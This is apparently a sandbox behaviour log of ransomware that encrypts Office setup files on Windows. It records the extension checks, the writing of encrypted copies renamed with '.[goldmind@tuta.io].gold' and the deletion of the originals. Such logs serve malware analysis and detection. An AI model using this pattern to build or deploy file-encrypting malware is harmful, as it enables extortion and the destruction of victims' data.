[0036.788] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString=".rar") returned 4 [0036.788] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0036.788] lstrlenW (lpString=".bz2") returned 4 [0036.788] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0036.788] lstrlenW (lpString=".7z") returned 3 [0036.788] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0036.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.788] lstrlenW (lpString=".dbf") returned 4 [0036.788] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0036.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.789] lstrlenW (lpString=".1cd") returned 4 [0036.789] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0036.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0036.789] lstrlenW (lpString=".jpg") returned 4 [0036.789] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0036.789] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0036.789] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0036.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.789] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1231) returned 1 [0036.789] CloseHandle (hObject=0x1b4) returned 1 [0036.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0036.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.789] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.789] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0036.790] GetLastError () returned 0x0 [0036.791] ReadFile (in: hFile=0x1b4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0036.792] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0036.792] ReadFile (in: hFile=0x1b4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.792] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0036.792] SetEndOfFile (hFile=0x1bc) returned 1 [0036.793] CloseHandle (hObject=0x1bc) returned 1 [0036.793] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.793] SetEndOfFile (hFile=0x1b4) returned 1 [0036.794] CloseHandle (hObject=0x1b4) returned 1 [0036.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0036.794] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0036.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.794] lstrlenW (lpString=".doc") returned 4 [0036.794] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.794] lstrlenW (lpString=".docx") returned 5 [0036.794] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0036.794] lstrlenW (lpString=".pdf") returned 4 [0036.795] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString=".xls") returned 4 [0036.795] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString=".xlsx") returned 5 [0036.795] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0036.795] lstrlenW (lpString=".ppt") returned 4 [0036.795] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.795] lstrlenW (lpString=".zip") returned 4 [0036.795] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.795] lstrlenW (lpString=".rar") returned 4 [0036.795] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString=".bz2") returned 4 [0036.795] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString=".7z") returned 3 [0036.795] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.795] lstrlenW (lpString=".dbf") returned 4 [0036.795] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.795] lstrlenW (lpString=".1cd") returned 4 [0036.795] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.795] lstrlenW (lpString=".jpg") returned 4 [0036.795] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.795] lstrlenW (lpString=".doc") returned 4 [0036.795] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString=".docx") returned 5 [0036.795] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0036.795] lstrlenW (lpString=".pdf") returned 4 [0036.795] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString=".xls") returned 4 [0036.795] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString=".xlsx") returned 5 [0036.795] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0036.795] lstrlenW (lpString=".ppt") returned 4 [0036.795] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.795] lstrlenW (lpString=".zip") returned 4 [0036.795] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.795] lstrlenW (lpString=".rar") returned 4 [0036.795] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString=".bz2") returned 4 [0036.795] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString=".7z") returned 3 [0036.795] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.795] lstrlenW (lpString=".dbf") returned 4 [0036.795] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.795] lstrlenW (lpString=".1cd") returned 4 [0036.795] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0036.796] lstrlenW (lpString=".jpg") returned 4 [0036.796] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.796] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0036.796] lstrlenW (lpString="SETUP.XML") returned 9 [0036.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.796] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1852) returned 1 [0036.796] CloseHandle (hObject=0x1b4) returned 1 [0036.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0036.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.796] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.796] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0036.797] GetLastError () returned 0x0 [0036.797] ReadFile (in: hFile=0x1b4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x73c, lpOverlapped=0x0) returned 1 [0036.798] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x740, lpOverlapped=0x0) returned 1 [0036.798] ReadFile (in: hFile=0x1b4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.798] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.799] SetEndOfFile (hFile=0x1bc) returned 1 [0036.799] CloseHandle (hObject=0x1bc) returned 1 [0036.799] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.799] SetEndOfFile (hFile=0x1b4) returned 1 [0036.800] CloseHandle (hObject=0x1b4) returned 1 [0036.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0036.800] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0036.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.800] lstrlenW (lpString=".doc") returned 4 [0036.800] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.800] lstrlenW (lpString=".docx") returned 5 [0036.800] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0036.800] lstrlenW (lpString=".pdf") returned 4 [0036.800] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.800] lstrlenW (lpString=".xls") returned 4 [0036.801] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString=".xlsx") returned 5 [0036.801] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0036.801] lstrlenW (lpString=".ppt") returned 4 [0036.801] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.801] lstrlenW (lpString=".zip") returned 4 [0036.801] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.801] lstrlenW (lpString=".rar") returned 4 [0036.801] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString=".bz2") returned 4 [0036.801] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString=".7z") returned 3 [0036.801] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.801] lstrlenW (lpString=".dbf") returned 4 [0036.801] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.801] lstrlenW (lpString=".1cd") returned 4 [0036.801] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.801] lstrlenW (lpString=".jpg") returned 4 [0036.801] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.801] lstrlenW (lpString=".doc") returned 4 [0036.801] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString=".docx") returned 5 [0036.801] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0036.801] lstrlenW (lpString=".pdf") returned 4 [0036.801] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString=".xls") returned 4 [0036.801] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString=".xlsx") returned 5 [0036.801] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0036.801] lstrlenW (lpString=".ppt") returned 4 [0036.801] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.801] lstrlenW (lpString=".zip") returned 4 [0036.801] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.801] lstrlenW (lpString=".rar") returned 4 [0036.801] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString=".bz2") returned 4 [0036.801] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString=".7z") returned 3 [0036.801] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.801] lstrlenW (lpString=".dbf") returned 4 [0036.801] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.801] lstrlenW (lpString=".1cd") returned 4 [0036.801] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0036.802] lstrlenW (lpString=".jpg") returned 4 [0036.802] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.802] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0036.802] lstrlenW (lpString="BRANDING.XML") returned 12 [0036.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.803] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=596341) returned 1 [0036.803] CloseHandle (hObject=0x1b4) returned 1 [0036.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0036.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.803] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.803] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0036.803] GetLastError () returned 0x0 [0036.803] ReadFile (in: hFile=0x1b4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x91975, lpOverlapped=0x0) returned 1 [0036.816] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0037.076] ReadFile (in: hFile=0x1b4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.076] WriteFile (in: hFile=0x1bc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0037.076] SetEndOfFile (hFile=0x1bc) returned 1 [0037.077] CloseHandle (hObject=0x1bc) returned 1 [0037.081] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.081] SetEndOfFile (hFile=0x1b4) returned 1 [0037.085] CloseHandle (hObject=0x1b4) returned 1 [0037.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.085] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0037.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.373] lstrlenW (lpString=".doc") returned 4 [0037.373] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.373] lstrlenW (lpString=".docx") returned 5 [0037.373] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0037.373] lstrlenW (lpString=".pdf") returned 4 [0037.373] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.373] lstrlenW (lpString=".xls") returned 4 [0037.373] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.373] lstrlenW (lpString=".xlsx") returned 5 [0037.373] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0037.373] lstrlenW (lpString=".ppt") returned 4 [0037.373] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.373] lstrlenW (lpString=".zip") returned 4 [0037.374] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.374] lstrlenW (lpString=".rar") returned 4 [0037.374] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.374] lstrlenW (lpString=".bz2") returned 4 [0037.374] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.374] lstrlenW (lpString=".7z") returned 3 [0037.374] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.374] lstrlenW (lpString=".dbf") returned 4 [0037.374] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.374] lstrlenW (lpString=".1cd") returned 4 [0037.374] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.374] lstrlenW (lpString=".jpg") 